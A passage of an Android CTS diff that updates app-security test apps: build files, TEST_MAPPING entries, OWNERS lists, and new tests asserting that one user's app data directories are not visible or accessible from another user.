- assertThat(permissionState.getPackageName()).isNotNull();
-
- if (getAppId(permissionState.getUid()) == testAppId) {
-
- if (permissionState.getPermissionName().contains(
- "ACCESS_FINE_LOCATION")) {
- assertThat(permissionState.getIsGranted()).isTrue();
- assertThat(permissionState.getPermissionFlags() & ~(
- FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
- | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED))
- .isEqualTo(0);
-
- verifiedKnowPermissionState = true;
- }
- }
- }
-
- assertThat(verifiedKnowPermissionState).isTrue();
- }
-
/**
* The app id from a uid.
*
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING b/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING
new file mode 100644
index 0000000..252d258
--- /dev/null
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/TEST_MAPPING
@@ -0,0 +1,22 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsAppSecurityHostTestCases",
+ "options": [
+ {
+ "include-filter": "android.appsecurity.cts.SplitTests"
+ }
+ ],
+ "file_patterns": ["SplitTests\\.java"]
+ },
+ {
+ "name": "CtsAppSecurityHostTestCases",
+ "options": [
+ {
+ "include-filter": "android.appsecurity.cts.IsolatedSplitsTests"
+ }
+ ],
+ "file_patterns": ["IsolatedSplitsTests\\.java"]
+ }
+ ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
index e7254c2..8a6e06b 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/Android.bp
@@ -70,6 +70,25 @@
}
android_test_helper_app {
+ name: "CtsAppDataIsolationAppApi29A",
+ defaults: ["cts_support_defaults"],
+ srcs: ["common/src/**/*.java", "AppA/src/**/*.java", "AppA/aidl/**/*.aidl"],
+ sdk_version: "test_current",
+ static_libs: ["androidx.test.rules", "truth-prebuilt", "testng", "ub-uiautomator", "compatibility-device-util-axt"],
+ libs: ["android.test.base"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+ certificate: ":cts-testkey1",
+ dex_preopt: {
+ enabled: false,
+ },
+ manifest: "AppA/AndroidManifest_api29.xml",
+}
+
+android_test_helper_app {
name: "CtsAppDataIsolationAppB",
defaults: ["cts_support_defaults"],
srcs: ["common/src/**/*.java", "AppB/src/**/*.java"],
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml
new file mode 100644
index 0000000..15c3ce1
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/AndroidManifest_api29.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.appdataisolation.appa">
+
+ <uses-sdk android:targetSdkVersion="29" />
+
+ <application>
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".IsolatedService"
+ android:process=":Isolated"
+ android:isolatedProcess="true"/>
+ <service android:name=".AppZygoteIsolatedService"
+ android:process=":Isolated2"
+ android:isolatedProcess="true"
+ android:useAppZygote="true"/>
+ </application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="com.android.cts.appdataisolation.appa"
+ android:label="Test app data isolation."/>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
index c25d3d9..bdd02b5 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppA/src/com/android/cts/appdataisolation/appa/AppATests.java
@@ -16,10 +16,12 @@
package com.android.cts.appdataisolation.appa;
+import static com.android.cts.appdataisolation.common.FileUtils.APPA_PKG;
import static com.android.cts.appdataisolation.common.FileUtils.APPB_PKG;
import static com.android.cts.appdataisolation.common.FileUtils.CE_DATA_FILE_NAME;
import static com.android.cts.appdataisolation.common.FileUtils.DE_DATA_FILE_NAME;
import static com.android.cts.appdataisolation.common.FileUtils.EXTERNAL_DATA_FILE_NAME;
+import static com.android.cts.appdataisolation.common.FileUtils.NOT_INSTALLED_PKG;
import static com.android.cts.appdataisolation.common.FileUtils.OBB_FILE_NAME;
import static com.android.cts.appdataisolation.common.FileUtils.assertDirDoesNotExist;
import static com.android.cts.appdataisolation.common.FileUtils.assertDirIsAccessible;
@@ -29,6 +31,7 @@
import static com.android.cts.appdataisolation.common.FileUtils.touchFile;
import static com.android.cts.appdataisolation.common.UserUtils.getCurrentUserId;
+import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
@@ -39,19 +42,24 @@
import android.content.IntentFilter;
import android.content.ServiceConnection;
import android.content.pm.ApplicationInfo;
+import android.os.Bundle;
import android.os.IBinder;
import android.support.test.uiautomator.UiDevice;
+import android.util.Log;
import android.view.KeyEvent;
import androidx.test.filters.SmallTest;
import androidx.test.platform.app.InstrumentationRegistry;
+import com.android.compatibility.common.util.SystemUtil;
import com.android.cts.appdataisolation.common.FileUtils;
import org.junit.Before;
import org.junit.Test;
+import java.io.BufferedReader;
import java.io.File;
+import java.io.InputStreamReader;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
@@ -287,4 +295,48 @@
mContext.unbindService(mServiceConnection);
}
}
+
+ @Test
+ public void testOtherUserDirsNotPresent() throws Exception {
+ final Bundle arguments = InstrumentationRegistry.getArguments();
+ final int otherUserId = Integer.parseInt(arguments.getString("other_user_id"));
+
+ final String ceDataRoot = "/data/user/" + otherUserId;
+ final String deDataRoot = "/data/user_de/" + otherUserId;
+ final String profileRoot = "/data/misc/profiles/cur/" + otherUserId;
+
+ assertDirDoesNotExist(ceDataRoot);
+ assertDirDoesNotExist(deDataRoot);
+ assertDirDoesNotExist(profileRoot);
+ }
+
+ @Test
+ public void testOtherUserDirsNotAccessible() throws Exception {
+ final Bundle arguments = InstrumentationRegistry.getArguments();
+ final int otherUserId = Integer.parseInt(arguments.getString("other_user_id"));
+
+ final String ceDataRoot = "/data/user/" + otherUserId;
+ final String deDataRoot = "/data/user_de/" + otherUserId;
+ final String profileRoot = "/data/misc/profiles/cur/" + otherUserId;
+
+ // APPA (this app) is installed in this user but not the other one.
+ // APPB is installed in this user and the other one.
+ // NOT_INSTALLED_PKG isn't installed anywhere.
+ // We must get the same answer for all of them, so we can't infer if any of them are or
+ // are not installed in the other user.
+ assertDirIsNotAccessible(ceDataRoot);
+ assertDirIsNotAccessible(ceDataRoot + "/" + APPA_PKG);
+ assertDirIsNotAccessible(ceDataRoot + "/" + APPB_PKG);
+ assertDirIsNotAccessible(ceDataRoot + "/" + NOT_INSTALLED_PKG);
+
+ assertDirIsNotAccessible(deDataRoot);
+ assertDirIsNotAccessible(deDataRoot + "/" + APPA_PKG);
+ assertDirIsNotAccessible(deDataRoot + "/" + APPB_PKG);
+ assertDirIsNotAccessible(deDataRoot + "/" + NOT_INSTALLED_PKG);
+
+ assertDirIsNotAccessible(profileRoot);
+ assertDirIsNotAccessible(profileRoot + "/" + APPA_PKG);
+ assertDirIsNotAccessible(profileRoot + "/" + APPB_PKG);
+ assertDirIsNotAccessible(profileRoot + "/" + NOT_INSTALLED_PKG);
+ }
}
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
index 9229fa6..41ca80d 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/AppB/src/com/android/cts/appdataisolation/appb/AppBTests.java
@@ -24,6 +24,7 @@
import android.content.Context;
import android.content.pm.ApplicationInfo;
+import android.os.UserHandle;
import androidx.test.filters.SmallTest;
import androidx.test.platform.app.InstrumentationRegistry;
@@ -59,7 +60,9 @@
ApplicationInfo applicationInfo = mContext.getApplicationInfo();
assertDirIsAccessible(replacePackageBWithPackageA(applicationInfo.dataDir));
assertDirIsAccessible(replacePackageBWithPackageA(applicationInfo.deviceProtectedDataDir));
- assertDirIsAccessible("/data/data/" + APPA_PKG);
+ if (getCurrentUserId() == UserHandle.USER_SYSTEM) {
+ assertDirIsAccessible("/data/data/" + APPA_PKG);
+ }
assertFileIsAccessible("/data/misc/profiles/cur/" + getCurrentUserId() + "/"
+ APPA_PKG + "/primary.prof");
assertDirIsNotAccessible("/data/misc/profiles/ref");
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
index 819dcad..15450f9 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/FileUtils.java
@@ -59,17 +59,26 @@
});
assertThat(exception.getMessage()).contains(JAVA_FILE_PERMISSION_DENIED_MSG);
assertThat(exception.getMessage()).doesNotContain(JAVA_FILE_NOT_FOUND_MSG);
+
+ assertThat(new File(path).canExecute()).isFalse();
}
public static void assertDirDoesNotExist(String path) {
+ File directory = new File(path);
// Trying to access a file/directory that does exist, but is not visible to the caller, it
// should return file not found.
Exception exception = expectThrows(FileNotFoundException.class, () -> {
- new FileInputStream(new File(path));
+ new FileInputStream(directory);
});
assertThat(exception.getMessage()).contains(JAVA_FILE_NOT_FOUND_MSG);
assertThat(exception.getMessage()).doesNotContain(JAVA_FILE_PERMISSION_DENIED_MSG);
+ File parent = directory.getParentFile();
+ if (parent != null && !parent.exists()) {
+ // If the parent directory doesn't exist then we can be confident this
+ // directory is entirely invisible.
+ return;
+ }
// Try to create a directory here, and it should return permission denied not directory
// exists.
try {
@@ -78,6 +87,8 @@
} catch (ErrnoException e) {
assertEquals(e.errno, OsConstants.EACCES, "Error on path: " + path);
}
+
+ assertThat(directory.exists()).isFalse();
}
public static void assertDirIsAccessible(String path) {
@@ -85,6 +96,8 @@
// if app has search permission to that directory, it should return file not found
// and not security exception.
assertFileDoesNotExist(path, "FILE_DOES_NOT_EXIST");
+
+ assertThat(new File(path).canExecute()).isTrue();
}
public static void assertFileIsAccessible(String path) {
diff --git a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
index ea741c3..6ea9090 100644
--- a/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
+++ b/hostsidetests/appsecurity/test-apps/AppDataIsolationTestApp/common/src/com/android/cts/appdataisolation/common/UserUtils.java
@@ -16,19 +16,11 @@
package com.android.cts.appdataisolation.common;
-import android.app.ActivityManager;
-
-import com.android.compatibility.common.util.ShellIdentityUtils;
+import android.os.Process;
+import android.os.UserHandle;
public final class UserUtils {
-
- // Suppress default constructor
- private UserUtils() {
- throw new AssertionError();
- }
-
public static int getCurrentUserId() {
- return ShellIdentityUtils.invokeStaticMethodWithShellPermissions(
- () -> ActivityManager.getCurrentUser());
+ return UserHandle.getUserId(Process.myUid());
}
}
diff --git a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
index fa68a6d..4cbd602 100644
--- a/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DeclareNotRuntimePermissions/Android.bp
@@ -23,6 +23,7 @@
"vts",
"general-tests",
"mts",
+ "sts",
],
dex_preopt: {
enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index dcba2a6..6834791 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -34,6 +34,7 @@
"cts",
"general-tests",
"mts",
+ "sts",
],
certificate: ":cts-testkey2",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
index 8bdc594..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/OWNERS
@@ -1,3 +1,4 @@
# Bug component: 95221
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
dikshag@google.com
-zemiao@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
index 2e34b5e..ab0f334 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.bp
@@ -30,6 +30,7 @@
"cts",
"general-tests",
"mts",
+ "sts",
],
certificate: ":cts-testkey1",
optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
index 9fe672b..3f5dc0e 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/OWNERS
@@ -1,2 +1,4 @@
# Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
+dikshag@google.com
+zemiao@google.com
\ No newline at end of file
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index d75d4fc..c429885 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -494,7 +494,7 @@
final PendingIntent pendingIntent = PendingIntent.getActivity(
getContext(), WEB_LINK_REQUEST_CODE, intent,
- PendingIntent.FLAG_ONE_SHOT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
return pendingIntent.getIntentSender();
}
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
index aacd866..0c17955 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 49763
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
index 24043ad..4a054d2 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/Android.bp
@@ -25,6 +25,7 @@
"vts",
"general-tests",
"mts",
+ "sts",
],
optimize: {
enabled: false,
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING
new file mode 100644
index 0000000..cee8c59
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsAppSecurityHostTestCases",
+ "options": [
+ {
+ "include-filter": "android.appsecurity.cts.IsolatedSplitsTests"
+ }
+ ]
+ }
+ ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
index 0badb96..8deeb76 100644
--- a/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
+++ b/hostsidetests/appsecurity/test-apps/ListeningPortsApp/src/android/appsecurity/cts/listeningports/ListeningPortsTest.java
@@ -73,6 +73,12 @@
EXCEPTION_PATTERNS.add(":: 1002"); // used by remote control
EXCEPTION_PATTERNS.add(":: 1020"); // used by remote control
EXCEPTION_PATTERNS.add("0.0.0.0:7275"); // used by supl
+ // b/150186547 ports
+ EXCEPTION_PATTERNS.add("192.168.17.10:48881");
+ EXCEPTION_PATTERNS.add("192.168.17.10:48896");
+ EXCEPTION_PATTERNS.add("192.168.17.10:48897");
+ EXCEPTION_PATTERNS.add("192.168.17.10:48898");
+ EXCEPTION_PATTERNS.add("192.168.17.10:48899");
//no current patterns involve address, port and UID combinations
//Example for when necessary: EXCEPTION_PATTERNS.add("0.0.0.0:5555 10000")
diff --git a/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/MediaStorageApp/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/MultiUserStorageApp/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING
new file mode 100644
index 0000000..bc9dc3c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/NoRestartApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+ "presubmit": [
+ {
+ "name": "CtsAppSecurityHostTestCases",
+ "options": [
+ {
+ "include-filter": "android.appsecurity.cts.SplitTests"
+ }
+ ]
+ }
+ ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
index 9fe672b..212b91b 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/OWNERS
@@ -1,2 +1,2 @@
# Bug component: 95221
-jsharkey@google.com
+include platform/frameworks/base:/core/java/android/os/storage/OWNERS
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
new file mode 100644
index 0000000..0fa8469
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
@@ -0,0 +1,152 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+java_defaults {
+ name: "CtsSplitAppDefaults",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ asset_dirs: ["assets"],
+ sdk_version: "current",
+ min_sdk_version: "4",
+ aapt_include_all_resources: true,
+ static_libs: [
+ "androidx.test.rules",
+ "truth-prebuilt",
+ ],
+ libs: [
+ "android.test.runner.stubs",
+ "android.test.base.stubs",
+ ],
+}
+
+android_test_helper_app {
+ name: "CtsSplitApp",
+ defaults: ["CtsSplitAppDefaults"],
+ package_splits: [
+ "mdpi-v4",
+ "hdpi-v4",
+ "xhdpi-v4",
+ "xxhdpi-v4",
+ "v7",
+ "v23",
+ "fr",
+ "de",
+ ],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 100",
+ "--version-name OneHundred",
+ "--replace-version",
+ ],
+ // Feature splits are dependent on this base, so it must be exported.
+ export_package_resources: true,
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
+
+// Define a variant with a different revision code
+android_test_helper_app {
+ name: "CtsSplitAppDiffRevision",
+ defaults: ["CtsSplitAppDefaults"],
+ package_splits: ["v7"],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 100",
+ "--revision-code 12",
+ "--version-name OneHundredRevisionTwelve",
+ "--replace-version",
+ ],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
+
+// Define a variant with a different version code
+android_test_helper_app {
+ name: "CtsSplitAppDiffVersion",
+ defaults: ["CtsSplitAppDefaults"],
+ package_splits: ["v7"],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 101",
+ "--version-name OneHundredOne",
+ "--replace-version",
+ ],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
+
+// Define a variant with a different signature
+android_test_helper_app {
+ name: "CtsSplitAppDiffCert",
+ defaults: ["CtsSplitAppDefaults"],
+ package_splits: ["v7"],
+ certificate: ":cts-testkey2",
+ aaptflags: [
+ "--version-code 100",
+ "--version-name OneHundred",
+ "--replace-version",
+ ],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
+
+// Define a variant requiring a split for install
+android_test_helper_app {
+ name: "CtsNeedSplitApp",
+ defaults: ["CtsSplitAppDefaults"],
+ manifest: "needsplit/AndroidManifest.xml",
+ package_splits: ["xxhdpi-v4"],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 100",
+ "--version-name OneHundredRevisionTwelve",
+ "--replace-version",
+ ],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
+
+// Define a variant with different codes and resources for the inherit updated test of the base apk
+android_test_helper_app {
+ name: "CtsSplitAppRevisionA",
+ defaults: ["CtsSplitAppDefaults"],
+ srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+ resource_dirs: ["res", "revision_a/res"],
+ asset_dirs: ["revision_a/assets"],
+ manifest : "revision_a/AndroidManifest.xml",
+ package_splits: ["v7"],
+ certificate: ":cts-testkey1",
+ aaptflags: [
+ "--version-code 100",
+ "--revision-code 10",
+ "--version-name OneHundredRevisionTen",
+ "--replace-version",
+ ],
+ test_suites: [
+ "cts",
+ "general-tests",
+ ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index e98a3c1..73c2f58 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -16,154 +16,6 @@
LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant with a different revision code
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffRevision
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundredRevisionTwelve --replace-version
-LOCAL_AAPT_FLAGS += --revision-code 12
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-################################################
-# Define a variant with a different version code
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffVersion
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-################################################
-# Define a variant with a different signature
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffCert
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant requiring a split for install
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MANIFEST_FILE := needsplit/AndroidManifest.xml
-
-LOCAL_PACKAGE_NAME := CtsNeedSplitApp
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := xxhdpi-v4
-
